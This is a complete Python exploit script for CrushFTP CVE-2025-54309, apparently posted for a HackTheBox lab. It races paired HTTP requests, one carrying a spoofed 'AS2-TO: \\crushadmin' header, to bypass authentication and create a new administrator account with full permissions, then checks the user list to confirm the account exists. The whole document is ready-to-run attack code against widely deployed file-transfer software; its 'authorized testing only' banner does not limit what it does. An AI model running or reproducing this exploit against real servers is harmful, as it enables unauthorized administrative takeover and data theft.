1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314
| """ CrushFTP CVE-2025-54309 Authentication Bypass Exploit - User Creation Based on working Watchtowr POC pattern FOR AUTHORIZED PENETRATION TESTING ONLY - HTB Labs Use """
import requests import threading import time import random import string import sys import argparse
banner = """ ╔═══════════════════════════════════════════════════════════╗ ║ CrushFTP CVE-2025-54309 Exploit ║ ║ Race Condition Authentication Bypass ║ ║ User Creation Version ║ ║ ║ ║ FOR AUTHORIZED TESTING ONLY ║ ║ HTB Labs & Pentesting Use ║ ╚═══════════════════════════════════════════════════════════╝ """
class CrushFTPUserCreator: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.c2f_value = None self.crush_auth_cookie = None self.success = False requests.packages.urllib3.disable_warnings() def generate_random_c2f(self): """Generate random 4-character c2f value like the working POC""" return ''.join(random.choices(string.ascii_letters + string.digits, k=4)) def update_c2f_and_cookies(self): """Generate new c2f value and update cookies - exactly like working POC""" self.c2f_value = self.generate_random_c2f() timestamp = int(time.time() * 1000) random_suffix = ''.join(random.choices(string.ascii_letters + string.digits, k=24)) self.crush_auth_cookie = f"CrushAuth={timestamp}_{random_suffix}{self.c2f_value}; currentAuth={self.c2f_value}" print(f"[*] Generated new c2f value: {self.c2f_value}") def make_request_with_as2(self): """Make request with AS2-TO header - following working POC pattern""" url = f"{self.target_url}/WebInterface/function/" headers = { "Host": self.target_url.replace("http://", "").replace("https://", ""), "User-Agent": "python-requests/2.32.3", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "keep-alive", "AS2-TO": "\\crushadmin", "Content-Type": "disposition-notification", "X-Requested-With": "XMLHttpRequest", "Cookie": self.crush_auth_cookie } user_xml = f'''<?xml version="1.0" encoding="UTF-8"?><user type="properties"> <max_logins_ip>8</max_logins_ip> <real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user> <root_dir>/</root_dir> <user_name>{self.username}</user_name> <version>1.0</version> <max_logins>0</max_logins> <last_logins>{time.strftime('%m/%d/%Y %I:%M:%S %p')}</last_logins> <password>{self.password}</password> <site>(CONNECT)(WEB_ADMIN)</site> <ignore_max_logins>true</ignore_max_logins> <max_idle_time>0</max_idle_time> <username>{self.username}</username> </user>''' vfs_xml = '''<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>''' permissions_xml = '''<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)(admin)</item></VFS>''' data = { "command": "setUserItem", "data_action": "new", "serverGroup": "MainUsers", "username": self.username, "user": user_xml, "xmlItem": "user", "vfs_items": vfs_xml, "permissions": permissions_xml, "c2f": self.c2f_value } try: response = requests.post(url, headers=headers, data=data, verify=False, timeout=5) return f"AS2 Request - Status: {response.status_code}", response.text except Exception as e: return f"AS2 Request - Error: {str(e)}", "" def make_request_without_as2(self): """Make request without AS2-TO header - following working POC pattern""" url = f"{self.target_url}/WebInterface/function/" headers = { "Host": self.target_url.replace("http://", "").replace("https://", ""), "User-Agent": "python-requests/2.32.3", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "keep-alive", "X-Requested-With": "XMLHttpRequest", "Cookie": self.crush_auth_cookie } user_xml = f'''<?xml version="1.0" encoding="UTF-8"?><user type="properties"> <max_logins_ip>8</max_logins_ip> <real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user> <root_dir>/</root_dir> <user_name>{self.username}</user_name> <version>1.0</version> <max_logins>0</max_logins> <last_logins>{time.strftime('%m/%d/%Y %I:%M:%S %p')}</last_logins> <password>{self.password}</password> <site>(CONNECT)(WEB_ADMIN)</site> <ignore_max_logins>true</ignore_max_logins> <max_idle_time>0</max_idle_time> <username>{self.username}</username> </user>''' vfs_xml = '''<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>''' permissions_xml = '''<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)(admin)</item></VFS>''' data = { "command": "setUserItem", "data_action": "new", "serverGroup": "MainUsers", "username": self.username, "user": user_xml, "xmlItem": "user", "vfs_items": vfs_xml, "permissions": permissions_xml, "c2f": self.c2f_value } try: response = requests.post(url, headers=headers, data=data, verify=False, timeout=5) return f"Regular Request - Status: {response.status_code}", response.text except Exception as e: return f"Regular Request - Error: {str(e)}", "" def check_success_response(self, response_text): """Check if user creation was successful""" if "response_status>OK" in response_text: print(f"[+] SUCCESS! User '{self.username}' created successfully!") print(f"[+] Response indicates user creation was successful") self.success = True return True return False def race_requests_for_user_creation(self, num_requests=5000): """Race multiple requests for user creation - following working POC pattern""" print(f"[*] Starting race with {num_requests} request pairs...") print("=" * 60) for i in range(num_requests): if i % 50 == 0: self.update_c2f_and_cookies() print(f"[*] NEW SESSION: c2f={self.c2f_value}") results = {'as2': None, 'regular': None} def as2_worker(): results['as2'] = self.make_request_with_as2() def regular_worker(): results['regular'] = self.make_request_without_as2() t1 = threading.Thread(target=as2_worker) t2 = threading.Thread(target=regular_worker) t1.start() t2.start() t1.join() t2.join() as2_status, as2_response = results['as2'] regular_status, regular_response = results['regular'] if self.check_success_response(as2_response) or self.check_success_response(regular_response): print("[+] USER CREATION SUCCESSFUL!") return True if (i + 1) % 50 == 0: print(f"[*] PROGRESS: {i + 1}/{num_requests} request pairs completed...") return False def verify_user_creation(self): """Verify user was created by attempting to get user list""" print(f"[*] Verifying user creation...") url = f"{self.target_url}/WebInterface/function/" headers = { "Host": self.target_url.replace("http://", "").replace("https://", ""), "User-Agent": "python-requests/2.32.3", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "keep-alive", "AS2-TO": "\\crushadmin", "Content-Type": "disposition-notification", "X-Requested-With": "XMLHttpRequest", "Cookie": self.crush_auth_cookie } data = { "command": "getUserList", "serverGroup": "MainUsers", "c2f": self.c2f_value } try: response = requests.post(url, headers=headers, data=data, verify=False, timeout=5) if f"<user_list_subitem>{self.username}</user_list_subitem>" in response.text: print(f"[+] VERIFICATION SUCCESS: User '{self.username}' found in user list!") return True else: print(f"[-] VERIFICATION FAILED: User '{self.username}' not found in user list") return False except Exception as e: print(f"[-] Verification error: {e}") return False def exploit(self, num_requests=5000): """Main exploit function""" print("[*] CRUSHFTP USER CREATION EXPLOIT") print(f"[*] TARGET: {self.target_url}") print(f"[*] CREATING USER: {self.username}:{self.password}") print(f"[*] ATTACK: {num_requests} requests with new c2f every 50 requests") print("=" * 60) self.update_c2f_and_cookies() if self.race_requests_for_user_creation(num_requests): return True print("[-] USER CREATION FAILED: Target may be patched or timing window missed") return False
def main(): print(banner) parser = argparse.ArgumentParser(description='CrushFTP CVE-2025-54309 User Creation Exploit') parser.add_argument('target', help='Target CrushFTP URL (e.g., http://ftp.soulmate.htb)') parser.add_argument('-u', '--username', default='htbadmin', help='Username for new admin user (default: htbadmin)') parser.add_argument('-p', '--password', default='HTBPassword123!', help='Password for new admin user (default: HTBPassword123!)') parser.add_argument('-r', '--requests', type=int, default=5000, help='Number of request pairs (default: 5000)') parser.add_argument('--verify', action='store_true', help='Verify user creation by checking user list') if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() if not args.target.startswith(('http://', 'https://')): print("[-] Error: Target URL must start with http:// or https://") sys.exit(1) print(f"[*] Target: {args.target}") print(f"[*] New admin user: {args.username}:{args.password}") exploit = CrushFTPUserCreator(args.target, args.username, args.password) success = exploit.exploit(args.requests) if success and args.verify: exploit.verify_user_creation() if success: print(f"\n[+] EXPLOITATION COMPLETE!") print(f"[+] Admin user created: {args.username}:{args.password}") print(f"[+] Try logging in at: {args.target}/WebInterface/") print(f"[+] Or access the admin interface directly") sys.exit(0) else: print(f"\n[-] EXPLOITATION FAILED!") print(f"[-] Target may be patched or race condition timing missed") print(f"[-] Try running again or increase request count with -r") sys.exit(1)
if __name__ == "__main__": main()
|